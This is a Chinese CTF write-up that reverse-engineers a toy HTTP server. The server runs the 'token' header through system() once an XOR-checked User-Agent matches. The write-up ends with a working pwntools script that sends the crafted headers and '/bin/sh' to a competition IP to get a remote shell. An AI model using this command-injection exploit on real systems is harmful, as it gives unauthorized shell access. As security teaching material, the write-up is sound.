这题做的是真懵逼, 一是不会做, 二是程序复杂的一批
接着看师傅们的操作=-=
其实用浏览器直接去访问题目端口的话, 就会发现它是个http服务器, 不过不是那么标准就是了
下载题目后给了两个程序,
一个一两M, 一个几k, 内心好懵逼, 以为有两个flag.
先用ida打开了step1的http, 看到一堆函数, 赶紧退了出来, 打开了step2, 然后就没那么多函数了
先看main, 第一个调用了sub_8048D2C
可以看到有个死循环, 里面是读HTTP头部内容
HTTP数据包结构:
协议 URI HTTP/版本号 key1: value1 key2: value2 ... keyN: valueN 空行(\r\n) POST数据
(随便看看吧, 看不懂我也没办法, 就是个坑在哪)
读完头部后, 把头部数据传给sub_804893E
, 也就是参数a1
- 大意是先用
strstr
判断a1
有没有User-Agent:
, 没有的话结束调用, - 有的话就接着用
__isoc99_sscanf
读取User-Agent:
到\r\n
(HTTP数据包中的换行)之间的数据, 最多32个字节长度的文本,
(不过我不清楚这里有没有溢出攻击办法), 然后把文本赋给v4
, 再输出v4
, - 再调用
sub_80488DD
, 把v4
作为参数, 如果函数返回0, 就结束调用, - 接着判断有没有
token:
, 没有的话结束调用, - 再去除
token:
到下一行前的文本给command
, - 最后调用
system
执行command
可以看出, 我们只要保证程序能执行到第六步, 让command
的值为/bin/sh
, 就能拿到shell了,
再往前面看, 关注到影响执行流程的sub_80488DD
上,
可以看出, 这个函数是一个对a1
做一个简单的异或加密, 只要最后能等于s
就行, 而s
的值是useragent
(一开始脑子瓦特没注意到, 看wp都懵圈死)
到这里后, 我们可以写脚本来获取权限了
from pwn import *
def login(data):
# 对ua进行异或处理
p = ''
for i in range(len(data)):
p += chr(i ^ ord(data[i]))
return p
io = remote('106.75.2.53', 80)
# 处理ua, 让程序通过第3步判断
# \r\n是换行
payload = 'User-Agent: ' + login('useragent') + '\r\n'
# /bin/sh 即linux下执行shell的程序
payload += 'token: ' + '/bin/sh' + '\r\n'
# 再加一次换行是该http服务器&&标准协议的要求, 不然要出错
payload += '\r\n'
io.send(payload)
io.interactive()
忘记放参考链接了:
- https://www.ichunqiu.com/course/56467 (巨佬的视频讲解)
- https://www.ichunqiu.com/writeup/detail/525
- https://blog.csdn.net/baiyeguang/article/details/88323248
接着吐槽审核, 撤